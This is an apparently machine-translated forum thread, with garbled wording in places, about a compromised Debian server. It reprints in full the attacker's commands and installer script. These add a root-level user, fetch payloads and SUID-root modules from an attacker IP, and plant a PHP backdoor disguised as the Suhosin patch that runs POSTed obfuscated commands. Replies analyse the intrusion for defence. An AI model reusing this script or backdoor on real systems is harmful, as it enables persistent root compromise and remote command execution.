我可能刚刚检测到,我的服务器上的用户已经扎根我的服务器,但这不是我问的。
有没有人见过像这样的命令:
echo _EoT_0.249348813417008_; id; echo _EoT_0.12781402577841_; echo $PATH && a=`env |grep PATH | awk -F '=' '{print $2":/usr/sbin"}'` && export PATH=$a && echo $PATH; echo _EoT_0.247556708344121_; whereis useradd; echo _EoT_0.905792585668774_; useradd -p saZlzoRm9L4Og -o -g 0 -u 0 aspnet; echo _EoT_0.369123892063307_; wget http://178.xxx.xxx.181/suhosin14.sh; echo _EoT_0.845361576801043_; chmod +x suhosin14.sh && ./suhosin14.sh && sleep 5 && ls -la && locate index.php; echo _EoT_0.161914402299161_; rm -rf /tmp/ZyCjBiU; echo _EoT_0.751816968837201_;
在我看来,这是一个自动脚本的工作,但我不确定哪一个。
任何人都有这个线索?
操作系统是Debian Lenny,内核2.6.30-bpo.2-686-bigmem(如果这很重要的话)。
顺便说一下,上面的代码中的链接被屏蔽了,任何想要下载的代码的人,我已经做了一个副本,用于分析,所以我可以根据请求提供它。
编辑:我附上.sh脚本的内容,作为参考,如果任何人有兴趣。
#!/bin/sh PHP=`which php` PHP_INCLUDE_PATH=`$PHP -i|grep 'include_path' | awk '{print $3}' | awk -F ":" '{print $2}'` if [ -z $PHP_INCLUDE_PATH ] then PHP_INCLUDE_PATH="/usr/share/php" mkdir -p $PHP_INCLUDE_PATH fi GETROOT_32=$PHP_INCLUDE_PATH"/suhosin32.so" GETROOT_32_URL="http://178.xxx.xxx.181/32" GETROOT_64=$PHP_INCLUDE_PATH"/suhosin64.so" GETROOT_64_URL="http://178.xxx.xxx.181/64" PHP_FILE_PATH=$PHP_INCLUDE_PATH"/suhosin.php" PHP_FILE_PATH_SLASHED=`echo $PHP_FILE_PATH | sed 's/\//\\\\\//g'`; for file in `find / -type f -name 'php.ini'` do APPEND=`egrep -v '^;' $file | grep auto_prepend_file` OPENBASEDIR=`egrep -v '^;' $file | grep open_basedir` echo "[*] opendir:$OPENBASEDIR" if [ ! -z "$APPEND" ] then APPEND_CMD=`echo $APPEND | awk -F "=" '{print $1}'` APPEND_FILE=`echo $APPEND | awk -F "=" '{print $2}'` echo "[*] $file : $APPEND_CMD=$APPEND_FILE" echo "[~] need to replace auto append file" if [ ! -z "$APPEND_FILE" ]; then APPEND_FILE=`echo "$APPEND_FILE" | sed 's/\//\\\\\//g'`;fi sed "s/$APPEND_CMD=$APPEND_FILE/$APPEND_CMD=$PHP_FILE_PATH_SLASHED/g" $file > 1 else echo "[~] need to add auto_append_file" cp $file 1 echo "auto_prepend_file = $PHP_FILE_PATH" >> 1 fi touch -r $file 1 mv 1 $file done echo "[!] printing $PHP_FILE_PATH" if [ ! -d $PHP_INCLUDE_PATH ]; then mkdir $PHP_INCLUDE_PATH; fi cat >$PHP_FILE_PATH<<EOF <?php /** * SUHOSIN, the PHP Extension and Application Repository * * SUHOSIN security patch * * PHP versions 4 and 5 * * @category pear * @package Suhosin patch * @author Sterling Hughes <[email protected]> * @author Stig Bakken <[email protected]> * @author Tomas VVCox <[email protected]> * @author Greg Beaver <[email protected]> * @copyright 1997-2010 The Authors * @license http://opensource.org/licenses/bsd-license.php New BSD License * @version CVS: \$Id: PEAR.php 299159 2010-05-08 22:32:52Z dufuz \$ * @link http://pear.php.net/package/PEAR * @since File available since Release 0.1 */ function suhosin_unxor(\$data,\$len,\$key) { for(\$i=0;\$i<\$len;\$i++) { \$data[\$i]=chr((\$key+\$i)^ord(\$data[\$i])); } return \$data; } if(isset(\$_SERVER['REQUEST_URI'])) { if(isset(\$_POST['suhosinkey']) && isset(\$_POST['suhosinaction'])) { if(\$_POST['suhosinkey']=='we48b230948312-0491vazXAsxdadsxks!asd') { if(isset(\$_POST['suhosindata']) && isset(\$_POST['suhosincrc']) && crc32(\$_POST['suhosindata'])==\$_POST['suhosincrc']) { \$data=base64_decode(\$_POST['suhosindata']); \$data=suhosin_unxor(\$data,strlen(\$data),ord('W')); if(\$_POST['suhosinaction']=="update") { print "SUHOSIN OK\n".file_put_contents(__FILE__,\$data); } else if(\$_POST['suhosinaction']=="command") { system(\$data); print("SUHOSIN CMD\n"); } } } } } ?> EOF chmod 777 $PHP_FILE_PATH touch -r /bin/ls $PHP_FILE_PATH echo "[*] installing getroots ($GETROOT_32 $GETROOT_64)" WGET=`which wget` CHOWN=`which chown` `$WGET $GETROOT_32_URL -O $GETROOT_32` `$CHOWN root $GETROOT_32` chmod 4755 $GETROOT_32 touch -r /bin/ls $GETROOT_32 `$WGET $GETROOT_64_URL -O $GETROOT_64` `$CHOWN root $GETROOT_64` chmod 4755 $GETROOT_64 touch -r /bin/ls $GETROOT_64 ls -la $GETROOT_32 $GETROOT_64 echo "[!] restarting ctls" for ctl in ` ls {/usr/local/{http*,apache*}/bin/*ctl,/usr/sbin/{http*,apache*}ctl} 2>&1 | grep -v "No such"` do echo "[*] restarting $ctl" `\$ctl restart` done rm $0
有趣。
有趣的,的确如此。
我从来没有见过这个东西,但看着suhosin14.sh脚本,这是邪恶的。 它修改了它可以在系统上find的所有php.ini文件,希望能够让PHP在运行的每一个PHP网页上(通过auto_prepend_file )预先添加一些代码。 suhosin14.sh也下载并安装了一对SUID根模块,可能是为了让它的前置PHP代码以root权限运行。
前置的PHP脚本( suhosin.php )包含一个评论标题,声称它是PHP的Suhosin安全补丁的一部分,但是肯定不是。 相反,该脚本监视包含XOR混淆命令的特定HTTP POST请求,然后将其解除混淆并运行(可能具有root特权,这归功于SUID根模块)。
如果这个东西是在你的系统上运行的,那么它可能是根植的。 撤消suhosin14.sh安装程序所做的[特别是:删除PHP prepend脚本suhosin.php ,删除SUID根模块suhosin32.so和suhosin64.so ,并恢复您原来的php.ini文件(S)]可能不足以确保安全,因为有人必须获得root权限才能成功运行安装程序。 此外,通过PHP prepend-script远程发送的后续命令可以轻松安装任意数量的rootkit或其他后门程序。
除了可能检查你的Apache日志POST请求到通常不应该得到POST请求的页面之外,我可以提出的其他build议除外:那些可能是远程命令发送到系统的实例。 不幸的是,日志不会告诉你什么命令被执行,但你可能会得到一些其他有用的信息,如IP地址和时间戳。
这也发生在我前几天。 你有没有机会使用Drupal或Wordpress? 我很好奇,如果这可能是由于任何一个CMS的漏洞。 我已经有三次发生这种情况,并采取了一些安全措施,但他们似乎仍然能够将suhosin prepend添加到我们的php.ini文件中。 非常恼人的是,至less可以说。 任何更多的信息可能的原因或解决scheme将非常感激。
谢谢你,约瑟夫
哇,这真是太神奇了,星期四我也发生了同样的事情,他们打破了我的整个服务器。 我仍然不知道我必须解决什么问题。 有人可以告诉我吗?
我在日志文件中发现了一些有趣的东西。 所以我知道有人连接到它并下载一个文件到服务器,这是相当了不起的。 我甚至find了和你们之前发布的IP相同的IP。
–2010-11-25 23:16:18– http://178.17.163.181/cbsdx连接到178.17.163.181:80 …连接。 发送HTTP请求,等待响应… 200 OK长度:8506(8.3K)[text / plain]保存到:
cbsdx' 0K ........ 100% 94.8K=0.09s 2010-11-25 23:16:18 (94.8 KB/s) -cbsdx'保存[8506/8506] [Thu Nov 25 23:17:41 2010] [notice]收到SIGHUP。 试图重新启动
非常有趣的肯定是你对useradd的评论,因为我有一条线说:
Nov 25 23:16:24 s15398462 useradd [7815]:new user:name = aspnet,UID = 0,GID = 0,home = / home / aspnet,shell = / bin / bash
我也使用Wordpress,所以可能是这个问题,但是我有一些其他的程序,所以谁知道呢。